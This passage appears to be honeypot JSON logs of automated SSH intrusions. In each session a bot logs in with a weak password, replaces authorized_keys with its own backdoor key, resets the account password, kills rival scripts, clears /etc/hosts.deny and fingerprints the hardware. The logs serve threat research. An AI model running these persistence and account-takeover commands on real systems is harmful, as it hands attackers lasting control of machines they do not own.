AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:34:44.090515+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:34:46.005722+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:34:46.072861+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xvMCso3Zxj1U\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:34:46.142283+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:34:46.208050+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:34:46.898695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:34:47.245288+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:34:47.313180+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:34:48.824603+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:34:48.891906+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:34:51.093267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:34:51.163857+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:34:52.608487+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:34:52.679925+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:34:53.493200+00:00","kind":"output","latency_ms":null,"data":" 21:34:53 up 6 days, 18:25, 0 user, load average: 0.14, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:34:53.562938+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:34:55.317848+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:34:55.384660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:34:56.849868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:34:56.917216+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:34:58.902683+00:00","kind":"output","latency_ms":null,"data":"top - 21:34:58 up 6 days, 18:25, 0 user, load average: 0.14, 0.18, 0.14\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:34:58.968518+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:35:00.292745+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:35:00.355868+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:35:02.308958+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:35:02.376824+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:35:04.243884+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:35:04.313660+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:35:05.663393+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:35:05.727880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:35:07.865704+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"b32ef2f4-0de6-4bda-9d42-191ca760d171","name":"pleasant-verdant-jay","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":41664,"username":"andrei","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:33:00.409369+00:00","ended_at":"2026-08-26T21:33:02.191440+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2113,"events":[{"seq":1,"at":"2026-08-26T21:32:37.049593+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:32:37.124089+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:32:40.186912+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:32:41.012334+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:32:41.080046+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nD70WL6kCkKpo\\nD70WL6kCkKpo\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:32:41.148919+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nD70WL6kCkKpo\\nD70WL6kCkKpo\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:32:41.218118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:32:42.998570+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:32:43.068110+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:32:43.089056+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:32:43.103818+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:32:43.879740+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:32:43.949753+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T21:32:45.919450+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T21:32:45.989093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T21:32:47.647672+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T21:32:47.719257+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T21:32:49.558929+00:00","kind":"output","latency_ms":null,"data":" 21:32:49 up 6 days, 18:22, 0 user, load average: 0.13, 0.1, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T21:32:49.627068+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T21:32:51.508102+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T21:32:51.580354+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T21:32:53.078278+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T21:32:53.146653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T21:32:54.283377+00:00","kind":"output","latency_ms":null,"data":"top - 21:32:54 up 6 days, 18:23, 0 user, load average: 0.13, 0.1, 0.11\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T21:32:54.349813+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T21:32:56.421429+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T21:32:56.490490+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T21:32:57.765540+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T21:32:57.833920+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T21:32:58.855160+00:00","kind":"output","latency_ms":null,"data":"andrei"},{"seq":31,"at":"2026-08-26T21:32:58.921477+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T21:33:00.342936+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T21:33:00.410539+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T21:33:02.180051+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"andrei","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"5e466ecf-96c8-48a2-81bb-9aa6878ab1fe","name":"forlorn-airy-plover","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":49734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:31:03.393133+00:00","ended_at":"2026-08-26T21:31:05.334337+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T21:30:39.886695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:30:39.955430+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:30:43.087691+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:30:44.107141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:30:44.184319+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xCJ1tCPB74E8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:30:44.258361+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:30:44.331356+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:30:45.550372+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:30:45.974704+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:30:46.043517+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:30:47.633121+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:30:47.704541+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:30:49.537428+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:30:49.610660+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:30:51.109394+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:30:51.178777+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:30:53.138566+00:00","kind":"output","latency_ms":null,"data":" 21:30:53 up 6 days, 18:21, 0 user, load average: 0.2, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:30:53.204806+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:30:54.554754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:30:54.624292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:30:56.179154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:30:56.247427+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:30:57.407362+00:00","kind":"output","latency_ms":null,"data":"top - 21:30:57 up 6 days, 18:21, 0 user, load average: 0.2, 0.24, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:30:57.475486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:30:58.531774+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:30:58.601713+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:30:59.545108+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:30:59.613077+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:31:01.664547+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:31:01.731442+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:31:03.323355+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:31:03.393859+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:31:05.329488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Ls123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"8d3d7962-2361-41fb-b214-58651d26d07b","name":"pewter-gallant-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":55372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:29:02.848236+00:00","ended_at":"2026-08-26T21:29:04.782689+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-26T21:28:40.432770+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:28:40.500009+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:28:44.209889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:28:46.034023+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:28:46.100682+00:00","kind":"input","latency_ms":null,"data":"echo \"root:T02LMC6cm9cF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:28:46.166945+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:28:46.236847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:28:47.037285+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:28:47.351253+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:28:47.419831+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:28:48.272514+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:28:48.344612+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:28:49.456715+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:28:49.528791+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:28:51.238113+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:28:51.303655+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:28:52.266998+00:00","kind":"output","latency_ms":null,"data":" 21:28:52 up 6 days, 18:18, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:28:52.336597+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:28:53.758167+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:28:53.828759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:28:55.197417+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:28:55.265172+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:28:57.463442+00:00","kind":"output","latency_ms":null,"data":"top - 21:28:57 up 6 days, 18:19, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:28:57.529138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:28:58.356355+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:28:58.425866+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:29:00.038304+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:29:00.104457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:29:01.468426+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:29:01.535679+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:29:02.776878+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:29:02.849142+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:29:04.771120+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a123456A","method":"password","accepted":true,"tier":"other"}]} {"id":"0fe4342f-6f8f-4c46-8bd5-98bbe654a4f2","name":"freckled-hushed-siskin","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":58222,"username":"lenovo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:26:59.444044+00:00","ended_at":"2026-08-26T21:27:01.598404+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2086,"events":[{"seq":1,"at":"2026-08-26T21:26:46.401055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:26:46.465630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:26:48.248958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:26:48.653925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:26:48.720865+00:00","kind":"input","latency_ms":null,"data":"echo -e \"lenovo\\n22ZvGocpqBi1\\n22ZvGocpqBi1\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:26:48.785735+00:00","kind":"input","latency_ms":null,"data":"echo \"lenovo\\n22ZvGocpqBi1\\n22ZvGocpqBi1\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:26:48.854692+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:26:49.446716+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:26:49.527051+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:26:50.643104+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:26:50.709412+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:26:52.053407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:26:52.124898+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:26:52.982011+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 